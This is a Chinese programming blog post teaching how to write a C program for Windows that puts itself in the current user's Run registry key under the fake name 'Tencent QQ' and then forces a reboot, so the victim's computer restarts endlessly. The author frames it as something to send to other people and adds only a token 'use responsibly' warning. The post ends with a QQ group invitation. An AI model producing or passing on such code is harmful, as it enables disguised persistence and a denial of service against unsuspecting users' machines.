C语言玩转Windows系列01

无限重启

你有你的无限火力,我有我的无限重启
首先先普及一个概念:注册表
注册表
这里我们只需要了解注册表可以帮助我们在电脑开机的时候自动运行程序,那么我们就只需要把程序放到注册表的对应路径里,路径为HKEY_CURRENT_USER下的Software\Microsoft\Windows\CurrentVersion\Run。

那么有人就会问了,我发给别人程序总不能叫他自己添加吧,菜鸟觉得难,高手发现有诈,那么有没有什么办法可以用代码去操作呢?

答案是:有

来,我们直接上代码,代码上已经标有注释。

#include
#include
int main()
{
	HKEY hkey;//定义一个注册表键
	if (0 != RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey))//如果打开注册表失败
	{
		printf("打开注册表失败。\n");
		return 0;//退出程序
	}
	TCHAR szDate[260];//定义一个字符串
	GetModuleFileName(NULL, szDate, 260);//获取当前编译器编译出来的可执行程序的完整路径
	RegSetValueEx(hkey, L"腾讯QQ", 0, REG_SZ, (BYTE*)szDate, 260);//写入注册表
	system("shutdown -r");//重启命令
	return 0;
}

接下来的过程你便可以这样理解

运行程序;
写入注册表;
while(1)
{
	重启;
	打开注册表;
}

这是不是就无限重启了

严重警告,本次案例危害性巨大,请妥善使用,一切意外,后果自负!!!

如果有小可爱愿意和我一起交流C语言的,请进QQ群:818911654,我们相互学习,共同进步。(注:此群刚创建,人数少,希望大家捧场)
好了,祝大家学习愉快,趁青春,上代码。

你可能感兴趣的:(C语言,Windows程序设计,编程,c语言,编程语言,windows)